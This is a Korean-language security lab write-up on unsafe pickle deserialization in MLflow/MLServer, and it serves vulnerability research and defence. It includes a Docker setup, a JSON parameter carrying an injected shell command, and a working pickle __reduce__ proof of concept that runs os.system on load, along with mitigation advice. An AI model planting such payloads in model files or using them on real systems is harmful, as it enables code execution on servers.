
MLflow 및 MLServer에서 역직렬화 동작을 평가하기 위한 연구 환경 및 검증 스크립트.
mlflow==2.11.1 및 mlserver==1.3.5 내 신뢰할 수 없는 모델 로딩 파이프라인과 관련된 검증, 기본 메커니즘 및 아키텍처 취약점을 상세히 설명하는 포괄적인 보안 연구 보고서입니다.
| 항목 | 세부 정보 |
|---|---|
| 취약점 ID | CVE-2026-0596 / GHSA-rvhj-8chj-8v3c |
| 공통 취약점 열거(CWE) | CWE-78: OS 명령에 사용되는 특수 요소의 부적절한 중화('OS 명령 주입') |
| CVSS v3.1 기본 점수 | 9.6 치명적(CRITICAL) (CNA: huntr.dev) / 7.8 높음(HIGH) (NVD) |
| 공격 벡터 | 인접 네트워크, 낮은 복잡도, 권한 불필요, 사용자 상호작용 불필요 |
| 영향받는 에코시스템 | mlflow/mlflow (enable_mlserver=True를 통해 서빙하는 모든 레거시 아키텍처) |
MLflow는 고성능 엔터프라이즈급 모델 서빙을 처리하기 위해 Seldon의 MLServer와의 통합 기능을 제공합니다. 개발자는 명령줄 인터페이스 또는 추적 서버 API를 통해 모델 서버를 시작할 때 다음 구성 매개변수 플래그를 사용합니다:
enable_mlserver = True
이 실험실 환경은 사용자 제공 입력 매개변수와 아티팩트 메타데이터를 파싱할 때 머신러닝 모델 서빙 프레임워크의 런타임 동작을 평가합니다. MLServer의 API 파라미터 파싱 경계는 원시 문자열 리터럴을 완전히 격리하지만(셸 메타문자를 통한 기존 운영체제 명령 주입 방지), 기본 Python 런타임은 레거시 직렬화 객체 스트림(.pkl / pickle)을 수집할 때 구조적으로 안전하지 않은 역직렬화에 취약한 상태로 남아 있습니다.
pickle 기반 예측 백엔드.재현 환경은 운영체제 계층을 격리하고 프로덕션 수준의 머신러닝 모델 엔드포인트를 시뮬레이션하기 위해 Docker를 사용하여 컨테이너화되었습니다.
Dockerfile)FROM python:3.10-slim
WORKDIR /app
# Install native system binaries
RUN apt-get update && apt-get install -y \
curl \
build-essential \
&& rm -rf /var/lib/apt/lists/*
# Pin specific framework versions for target tracking
RUN pip install --no-cache-dir \
mlflow==2.11.1 \
mlserver==1.3.5 \
mlserver-mlflow==1.3.5
# Generate localized model configuration footprint
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py
EXPOSE 5000
generate_model.py)import mlflow
import mlflow.pyfunc
import os
class DummyModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input):
return model_input
if __name__ == "__main__":
model_path = "/app/saved_model"
if not os.path.exists(model_path):
mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())
초기 테스트에서는 /invocations REST 엔드포인트의 params 페이로드 배열을 통해 셸 명령 종료 페이로드 시퀀스(; touch /tmp/poc_success_marker.txt #)를 전달하려 시도했습니다:
{
"dataframe_split": {
"columns": ["machine_input"],
"data": [["test_data"]]
},
"params": {
"custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
}
}
결과: 음성(Negative). 프레임워크는 페이로드를 평가되지 않는 순수 문자열 리터럴로 안전하게 처리했습니다. 이는 엔진이 원시 명령 래퍼를 통해 시스템 셸 인수를 동적으로 합성하는 대신 입력 변수를 Python 메모리 공간에 직접 추상화함을 확인합니다.
MLflow와 MLServer는 컴파일된 Python 객체를 수집하므로 핵심 위험은 문자열 평가에서 객체 그래프 재구성으로 이동합니다. 사용자 정의 검증 스크립트를 사용하여 Python의 네이티브 매직 최적화 메서드(__reduce__)를 통해 시뮬레이션된 모델 스트림에 실행 트리거를 직접 포함시켰습니다.
trigger_native.py)import os
import pickle
class ExploitModel:
def __reduce__(self):
# The __reduce__ method defines object reconstruction behaviors.
# Returning os.system forces immediate runtime command execution during loading.
return (os.system, ("touch /tmp/native_success_marker.txt",))
if __name__ == "__main__":
payload_path = "vulnerable_model.pkl"
# Serialize the code execution payload into a pseudo-model file
with open(payload_path, "wb") as f:
pickle.dump(ExploitModel(), f)
# Simulate an application or model server unpickling the artifact
with open(payload_path, "rb") as f:
pickle.load(f)
스크립트는 백엔드 로딩 시퀀스를 모방하기 위해 컨테이너 샌드박스 환경에 주입되었습니다:
# Stage execution payload inside the sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py
# Execute the deserialization routine
docker exec -it mlflow_sandbox python /app/trigger_native.py
컨테이너의 격리된 임시 디렉터리를 조회하여 객체 할당 루프 중 임의 코드 실행이 즉시 발생했음을 확인했습니다:
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root 0 May 18 10:31 native_success_marker.txt
이 문제는 모델 아티팩트 저장 계층에 대한 암시적 신뢰에서 비롯됩니다. 표준 Python .pkl / pickle 파일은 단순한 플랫 구성 레코드 역할만 하는 것이 아닙니다. 이 파일에는 중첩된 객체 속성을 재구성하기 위한 순차적 바이트코드 명령이 포함되어 있습니다.
pickle.load()가 데이터세트를 파싱하면 __reduce__ 후크가 제공하는 명령 스트림을 우선시합니다. 이로 인해 대상 애플리케이션은 데이터 유형 검증이나 머신러닝 추론 계산이 초기화되기 전에 셸 환경에서 네이티브 시스템 바이너리(os.system)를 직접 호출하도록 전환됩니다.
모든 학습 및 배포 파이프라인에서 레거시 직렬화 계층(pickle, joblib, marshal)의 사용을 중단하십시오. 이를 구조적이고 데이터 전용인 형식으로 대체하십시오:
파이프라인에서 레거시 모델 구성을 반드시 사용해야 하는 경우:
USER 10001).cap_drop: [ALL]) 민감한 메타데이터 엔드포인트가 포함된 네트워크에서 포드를 격리하십시오.